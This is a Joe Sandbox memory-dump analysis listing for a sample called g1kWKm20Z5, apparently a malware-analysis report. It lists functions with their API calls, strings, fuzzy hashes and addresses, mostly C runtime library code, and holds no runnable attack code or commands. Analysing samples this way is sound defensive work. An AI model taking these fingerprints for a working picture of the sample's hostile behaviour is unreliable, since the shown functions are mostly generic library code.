Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$x@F
API String ID: 2332921423-3829711656
Opcode ID: 4d4d2abbed9b856c4e49574ec055b924c190fec3ea5a9e19aedb67fed442bc91
Instruction ID: 2a8b5e3cbe88d0ad45d83a49b6c8541956edddbcc5d33c7cd0fd48112d7d16c1
Opcode Fuzzy Hash: 4d4d2abbed9b856c4e49574ec055b924c190fec3ea5a9e19aedb67fed442bc91
Instruction Fuzzy Hash: F9B16771800249EBCF19DFA5C8819AEB7B5FF04316F18415AEC116B213D338EE59CBA9

Function 0045C793 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0045C0FF), ref: 0045C7AC

Strings

pow, xrefs: 0045C84A, 0045C8F4, 0045C941
acos, xrefs: 0045C8E2
sqrt, xrefs: 0045C8EB
log, xrefs: 0045C809, 0045C818
exp, xrefs: 0045C82B, 0045C890
asin, xrefs: 0045C8D9
log10, xrefs: 0045C7EE, 0045C7FD

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 5e24f046aca33eb0cff77f92b4cd243a788ff9568f881d4540edd6063b6ff4d5
Instruction ID: 82d02ba150d8eb4d5d6beeccfbe315dd90ac4e528bf330bfbd80dbdd17a07d9b
Opcode Fuzzy Hash: 5e24f046aca33eb0cff77f92b4cd243a788ff9568f881d4540edd6063b6ff4d5
Instruction Fuzzy Hash: 585170B0900B0ADFCF149F69D8C81AEBBB0FB45316F14414BD881A6256DB788959CF5E

Function 0045466D Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454B19: CreateFileW.KERNEL32(00000000,00000000,?,00454716,?,?,00000000,?,00454716,00000000,0000000C), ref: 00454B36

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74E2F770), ref: 00454781
__dosmaperr.LIBCMT ref: 00454788
GetFileType.KERNEL32(00000000), ref: 00454794
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74E2F770), ref: 0045479E
__dosmaperr.LIBCMT ref: 004547A7
CloseHandle.KERNEL32(00000000), ref: 004547C7
CloseHandle.KERNEL32(00455523), ref: 00454914
GetLastError.KERNEL32 ref: 00454946
__dosmaperr.LIBCMT ref: 0045494D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 997a49fbc66ddc57f6d03171bfc3be2bb67f50b3a1fb2b3f505c03722e716457
Instruction ID: 038922a14cfed84d654bc7e4756cd55dec8d6f56b9250bad4a8b086e30f44e5e
Opcode Fuzzy Hash: 997a49fbc66ddc57f6d03171bfc3be2bb67f50b3a1fb2b3f505c03722e716457
Instruction Fuzzy Hash: C4A13731A041449FCF189F68DC91BAE3BA0EB87329F14015EFC019F392DB78885AC75A

Function 004041F8 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 391COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00404418

Strings

false, xrefs: 004043A3
true, xrefs: 0040439C
null, xrefs: 00404226
%1.17g, xrefs: 00404273
[,]{: }, xrefs: 0040432B

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: %1.17g$[,]{: }$false$null$true
API String ID: 4218353326-762322047
Opcode ID: 2324184d7edb75108883178119c67932e8752769ab166018bc3f016b95bef789
Instruction ID: 8a31c525fd10ccff58647d80abb421e7a2f49e00f52c285c36168c55111fec75
Opcode Fuzzy Hash: 2324184d7edb75108883178119c67932e8752769ab166018bc3f016b95bef789
Instruction Fuzzy Hash: E8B1E4F27043015BC701A9298C5062BA6DA9FD1318F19493FEF59E33C2FA7EDD16425A

Function 0043D770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0043D7A7
___except_validate_context_record.LIBVCRUNTIME ref: 0043D7AF
_ValidateLocalCookies.LIBCMT ref: 0043D838
__IsNonwritableInCurrentImage.LIBCMT ref: 0043D863
_ValidateLocalCookies.LIBCMT ref: 0043D8B8

Strings

csm, xrefs: 0043D84D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 58ff33bdf8008059ad35d38e020e237fee552c53fd08c9077c5a83c4f96b7bce
Instruction ID: f027fe2574540ca3b1f88e77f7abec4aa80c90a537e94c27518ff210aad43bfc
Opcode Fuzzy Hash: 58ff33bdf8008059ad35d38e020e237fee552c53fd08c9077c5a83c4f96b7bce
Instruction Fuzzy Hash: 0041EA34D012089BCF14EF69D881A9F7BB5FF48318F14816BE8249B352D739EA15CB95

Function 0045299E Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a5e2e9da0023be33419689324beaf6a0f6f9f49e5a11a4ea9d7c3ac7b732d46
Instruction ID: 20f6fc253ed9e18728f1e3e0f73237be974277a9ced04a575444c598e2f27323
Opcode Fuzzy Hash: 3a5e2e9da0023be33419689324beaf6a0f6f9f49e5a11a4ea9d7c3ac7b732d46
Instruction Fuzzy Hash: 05B1F574A04285AFDB15CF99C980BBE7BB1BF86305F14415BE80067393C7B89D4ACB69

Function 0044C5A0 Relevance: 9.3, APIs: 6, Instructions: 275COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0044C6B4
__FindPESection.LIBCMT ref: 0044C6D1
VirtualQuery.KERNEL32(83000000,8F497764,0000001C,8F497764,?,?,?), ref: 0044C7B6
__FindPESection.LIBCMT ref: 0044C7F3
_ValidateScopeTableHandlers.LIBCMT ref: 0044C813
__FindPESection.LIBCMT ref: 0044C82D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FindSection$HandlersScopeTableValidate$QueryVirtual
String ID:
API String ID: 2529200597-0
Opcode ID: d01001b2250a4bc4d006de8e8775feca4cce7e2fc65dbb3aa6a0fb1d6a9ecab3
Instruction ID: e40285013e32dfb27aa5986082f3d9acaacd06ee7156ac865e10eba53592a1aa
Opcode Fuzzy Hash: d01001b2250a4bc4d006de8e8775feca4cce7e2fc65dbb3aa6a0fb1d6a9ecab3
Instruction Fuzzy Hash: 71A1F375E022159BEB50CFA9D9C07BEB3A4EB49314F19412AD855E3361E739DC028FA8

Function 00432B1B Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00432EBD

Part of subcall function 00430E6C: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00430F45

Part of subcall function 00432718: CreateCompatibleDC.GDI32(00000D62), ref: 00432894

Strings

Ku^%, xrefs: 00432E26
Ku^%, xrefs: 00432D62

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AllocateCompatibleCreateHeapInfoParametersSystem
String ID: Ku^%$Ku^%
API String ID: 392924372-1067927601
Opcode ID: ffdc60f1e004c543c03ed2e42b24d9c624f6bc23b499833a74f790060f19a536
Instruction ID: 62ef33d165420df4abe6194fc317c011647a9d43179361cb113ffb45af4e0bee
Opcode Fuzzy Hash: ffdc60f1e004c543c03ed2e42b24d9c624f6bc23b499833a74f790060f19a536
Instruction Fuzzy Hash: 4AE12B71E006158BDF289E598D8657FB7B0AB0C314F24292BE511FA390D7BC9A418B8B

Function 0044C202 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0044C1F9,0043D4A6,0043CFF7), ref: 0044C210
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0044C21E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0044C237
SetLastError.KERNEL32(00000000,0044C1F9,0043D4A6,0043CFF7), ref: 0044C289

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4538fd3f119ebfccef05c07daf3c44292a57c8edab061bb9a8ac19b89b5d77cf
Instruction ID: c0e2f545b2bb83990020f58b3cafac4cb819fbf5ee5e5dfe57bf4abdb9a8f05a
Opcode Fuzzy Hash: 4538fd3f119ebfccef05c07daf3c44292a57c8edab061bb9a8ac19b89b5d77cf
Instruction Fuzzy Hash: 5601F53260B6116EB69117B66CC656B2A88EF1137A328033FF920851F2FFD94C41919D

Function 02383A37 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

$^F, xrefs: 02383C3F

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: $^F
API String ID: 0-2072159057
Opcode ID: 7b640e70ded73f9c08873221f97cb98eab12bfdaea4e205fc4c25b8478a09ce9
Instruction ID: 9c600503ee011b5b01ea971114d00e1fe157cf1eb6220257661a77b4fb7b41e3
Opcode Fuzzy Hash: 7b640e70ded73f9c08873221f97cb98eab12bfdaea4e205fc4c25b8478a09ce9
Instruction Fuzzy Hash: 7241C6B1600748AFDB35BF78CC45B6ABBAAEB84B10F10856AE511DF790D775E5408B80

Function 004468EB Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0044692D

Strings

.exe, xrefs: 0044693A
.cmd, xrefs: 0044694B
.bat, xrefs: 0044695C
.com, xrefs: 0044696D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: d72b72fa5fc946e5bf17734d860b3a429cd1b964a4d3335ef3d5c7acc65a1e94
Instruction ID: b55bede8d45b761b400ac8ce0250aded4c8690036b953bdef2cda7eece1c3866
Opcode Fuzzy Hash: d72b72fa5fc946e5bf17734d860b3a429cd1b964a4d3335ef3d5c7acc65a1e94
Instruction Fuzzy Hash: A8010477A24A56213614156D9C0267797988B93BB6727402FFC44EB2C2EEECED02019E

Function 00443916 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8F497764,?,?,00000000,0045D6E6,000000FF,?,004439E0,0044387B,?,00443A9B,00000000), ref: 0044394B
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044395D
FreeLibrary.KERNEL32(00000000,?,?,00000000,0045D6E6,000000FF,?,004439E0,0044387B,?,00443A9B,00000000), ref: 0044397F

Strings

mscoree.dll, xrefs: 00443944
CorExitProcess, xrefs: 00443955

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3daf6b45365e10327e4674e32e0bbb7648fd22c9221b51d64b84b5ca0bf51f62
Instruction ID: 98d842734981b974643d07bc2e17aaafc6a7a08e37008b1518908caaa5ffc225
Opcode Fuzzy Hash: 3daf6b45365e10327e4674e32e0bbb7648fd22c9221b51d64b84b5ca0bf51f62
Instruction Fuzzy Hash: DC01A771904655EBDB118F50CC05BAEB7B8FB44B51F000626E811A22D0EBF89A04CA99

Function 0044623D Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ec4ca088175b3d71b74edc192f962602cbf94f283bf042d020ea8e91f16aadc
Instruction ID: 8aab27407c0a82a01c0ac988981d35579ce087bbb9e55deaa5eb6bc71ee87661
Opcode Fuzzy Hash: 1ec4ca088175b3d71b74edc192f962602cbf94f283bf042d020ea8e91f16aadc
Instruction Fuzzy Hash: 6C51707990024DAAEF00EFE4D844AEEB7B8FF09710F11405BE815E7250EB74DA45CB6A

Function 00446CD2 Relevance: 7.6, APIs: 5, Instructions: 143pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(00446BF7,?,00000000,?), ref: 00446CF4
GetFileInformationByHandle.KERNEL32(00446BF7,?), ref: 00446D4E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00446BF7,?,000000FF,00000000), ref: 00446DDC
__dosmaperr.LIBCMT ref: 00446DE3
PeekNamedPipe.KERNEL32(00446BF7,00000000,00000000,00000000,?,00000000), ref: 00446E20

Part of subcall function 00446999: __dosmaperr.LIBCMT ref: 004469CE

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: c898b499f90ca7519afdcdd7f8d9df92fdf4b61206adcc718103c1ca81f84296
Instruction ID: 7fef5dbdd5f1ebb30aa965719069ce331059867e0b66cf3bcb9aaaf835df89e4
Opcode Fuzzy Hash: c898b499f90ca7519afdcdd7f8d9df92fdf4b61206adcc718103c1ca81f84296
Instruction Fuzzy Hash: 584160B5A00704AFEB24DFA5DC459ABBBF9FF89304B11452EF846D3610E734A845CB16

Function 00403EAD Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 400COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00404418

Strings

null, xrefs: 00404226
%1.17g, xrefs: 00404273
,]{: }, xrefs: 004044BF

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: %1.17g$,]{: }$null
API String ID: 4218353326-1793514501
Opcode ID: 1febabab61847861726e4eccc5dd4458819082e0fa0a32231921fccec61d2490
Instruction ID: dfdaef210c9fde1e563ad86d0075ca4844e5c450f328af3dc752b2d50a02e017
Opcode Fuzzy Hash: 1febabab61847861726e4eccc5dd4458819082e0fa0a32231921fccec61d2490
Instruction Fuzzy Hash: 68B1DFE2B042005BD7006A669C5162B65D98FD1359F09453FEF4AF33C2FA3EDE19829B

Function 02363B1C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

~rjz, xrefs: 02363C01
^^4, xrefs: 02363C71
^^4, xrefs: 02363C5C

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: ^^4$^^4$~rjz
API String ID: 0-2511145224
Opcode ID: cb0dc4f94c1c179675eca45769f3c93bbdb24bff6a976fde1cfb2fc9678cba59
Instruction ID: 0c8c8d9a8597177023838940ed8ec232433aa460a65e207036a535b4732bd921
Opcode Fuzzy Hash: cb0dc4f94c1c179675eca45769f3c93bbdb24bff6a976fde1cfb2fc9678cba59
Instruction Fuzzy Hash: DB619C63E021A756FF34651C888D5BEB26E9B80F14F25C5A3F109FB29DC7A2C941CA53

Function 00459DC4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00459CCA,?,?,00000000,00000000,00000000,?), ref: 00459DE9
CatchIt.LIBVCRUNTIME ref: 00459ECF

Strings

RCC, xrefs: 00459E03
MOC, xrefs: 00459DFB

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: f6539cf28fa7df93cb7a4fd0398e0aeb39c553d0f7c18ec6f96af6878300a19c
Instruction ID: 680bccfe0e0854ffc158b5e00edb6862103a1416f9df0b4f366e0dcb6488795f
Opcode Fuzzy Hash: f6539cf28fa7df93cb7a4fd0398e0aeb39c553d0f7c18ec6f96af6878300a19c
Instruction Fuzzy Hash: 34416871900209EFDF15DF98CD82AAEBBB5FF48305F18805AF904672A2D3399D54DB58

Function 00456D31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00456DCD,?,0000376F,0045FB2F,?,?,?,00456C15,00000000,FlsAlloc,00465EF0,00465EF8), ref: 00456D3E
GetLastError.KERNEL32(?,00456DCD,?,0000376F,0045FB2F,?,?,?,00456C15,00000000,FlsAlloc,00465EF0,00465EF8,?,^D,0044C1B0), ref: 00456D48
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,^D,0044C1B0,0044C294,00000003,0044069B,?,?,?,?,00000000,0045FB2F,004058C6), ref: 00456D70

Strings

api-ms-, xrefs: 00456D55

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 1c601aedc7284344527d2769353e9bde843b729d446c6642f172212a38ab6b00
Instruction ID: 0ecaf6013e36b0431d801e3916b08b76fdb95d3f1c140b132a01747a849ad822
Opcode Fuzzy Hash: 1c601aedc7284344527d2769353e9bde843b729d446c6642f172212a38ab6b00
Instruction Fuzzy Hash: 04E012303C4204B7DB101B61DC06B593A789B10B56F540431FD0DA51E1EBF5A858954E

Function 0045074A Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8F497764,00455523,00000000,?), ref: 004507AD

Part of subcall function 00453203: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045769E,?,00000000,-00000008), ref: 004532AF

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00450A08
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00450A50
GetLastError.KERNEL32 ref: 00450AF3

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 96a8a5487e7c3d3faf6390a68133758f583929af7c12fd611465a668075fbc12
Instruction ID: e52ebc46d8e9f13757024da4890b50ba647b118a1bf42f91cd2d0be3dbea7dc8
Opcode Fuzzy Hash: 96a8a5487e7c3d3faf6390a68133758f583929af7c12fd611465a668075fbc12
Instruction Fuzzy Hash: A0D17BB9D00248AFDF15CFA8C8809EDBBB4FF09315F18816AE855E7352E734A946CB54

Function 004596C6 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0045978D
___AdjustPointer.LIBCMT ref: 004597B0
___AdjustPointer.LIBCMT ref: 0045984C

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c82cfddcd8694e2bdb1e743d5f084ed403ad5a837ea31cf34a60513f078c136f
Instruction ID: 4fadf7dd59c53bd1b12e0029445d2e83e107cc747934abb9f5ec8e89f131d8d2
Opcode Fuzzy Hash: c82cfddcd8694e2bdb1e743d5f084ed403ad5a837ea31cf34a60513f078c136f
Instruction Fuzzy Hash: 8C51F276A14202EFDB289F11D981BAA73A4EF18706F14452FEC0157292E73DEC49CB99

Function 004537D0 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b8450e9b4afcbafb4f61d0450c1d7e417d22fbc98e5ee0c888f4ba12a7ca7c
Instruction ID: a7f2c4688ec43d2a23ac8beb8ca83e3134fddb6ab0c13f52a90a8fe9f94a791d
Opcode Fuzzy Hash: f5b8450e9b4afcbafb4f61d0450c1d7e417d22fbc98e5ee0c888f4ba12a7ca7c
Instruction Fuzzy Hash: EE412AF2A00304AFD7249F79CC42B6AFBE8EB84756F10452FF551DB382D2B99A058784

Function 0044C89A Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(83000000,8F497764,0000001C,8F497764,?,?,?), ref: 0044C7B6
__FindPESection.LIBCMT ref: 0044C7F3
_ValidateScopeTableHandlers.LIBCMT ref: 0044C813
__FindPESection.LIBCMT ref: 0044C82D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FindSection$HandlersQueryScopeTableValidateVirtual
String ID:
API String ID: 1876002356-0
Opcode ID: c5c89110117f95e94e9ebb8d4fd24969d439cb80e1b6e8bbea251b6fa9d5d390
Instruction ID: 16c3c4676ac924f9bbc116e317de4c153b4417dc4f771cedf4f7c3d11fae8c19
Opcode Fuzzy Hash: c5c89110117f95e94e9ebb8d4fd24969d439cb80e1b6e8bbea251b6fa9d5d390
Instruction Fuzzy Hash: CF31B5B5E022159BFF54CBA9A9C07BE73A4EB09315F09007ADD41E7352E739DC018BA9

Function 00450F41 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,004481E1,00000001,?,004481E1,h5@,?,00000000), ref: 00450F57
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00403568,00000000), ref: 00450F64
SetFilePointerEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00403568,00000000), ref: 00450F8A
SetFilePointerEx.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00450FB0

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: cfe5fe78128bb7dd68b840a0eb5d6fe201827b23293f70a06ce6f48395b8db59
Instruction ID: 1514e75016c253887b100742bd2e0aa0853bf3b84a7615600f3982ba0bc5b80c
Opcode Fuzzy Hash: cfe5fe78128bb7dd68b840a0eb5d6fe201827b23293f70a06ce6f48395b8db59
Instruction Fuzzy Hash: B1116636805219ABDF209F51CC48A9F3F7DFB00725F004115FC20922A1D7B19A40CAA5

Function 00455DA6 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00455C9F,00000000,?,0045B41C,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000), ref: 00455DBC
GetLastError.KERNEL32(?,0045B41C,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000,00000000,?,00455C9F,?,00000104,00446C37), ref: 00455DC6
__dosmaperr.LIBCMT ref: 00455DCD
GetFullPathNameW.KERNEL32(?,?,?,00000000,?,?,0045B41C,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000,00000000), ref: 00455DF7

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: 40aed38a608d94dd85f4980ee519dcea4f2932da946f037f09bb496e255caaba
Instruction ID: 83aad2bcbc88ad1b691cbbc28925ead7dadcf548e2ab308fdfae5f9a37bb2b5e
Opcode Fuzzy Hash: 40aed38a608d94dd85f4980ee519dcea4f2932da946f037f09bb496e255caaba
Instruction Fuzzy Hash: 50F0A436200700AFDB205F67CC09E277BBDEF45361710842AF956C2521DB76EC14CB68

Function 00455E0C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00455C9F,00000000,?,0045B3A4,00455C9F,00455C9F,00446C37,?,00000000,00000104,?,00000001), ref: 00455E22
GetLastError.KERNEL32(?,0045B3A4,00455C9F,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000,00000000,?,00455C9F,?,00000104), ref: 00455E2C
__dosmaperr.LIBCMT ref: 00455E33
GetFullPathNameW.KERNEL32(?,?,?,00000000,?,?,0045B3A4,00455C9F,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000), ref: 00455E5D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: 978842d79e248325d5d1c5fcbdbac71f7ead08704c26e555b85ab8378b580012
Instruction ID: 58d23dfaa7b1bff066b533c88cf6507f29fdd6be1c16f2e24496f8287ce13408
Opcode Fuzzy Hash: 978842d79e248325d5d1c5fcbdbac71f7ead08704c26e555b85ab8378b580012
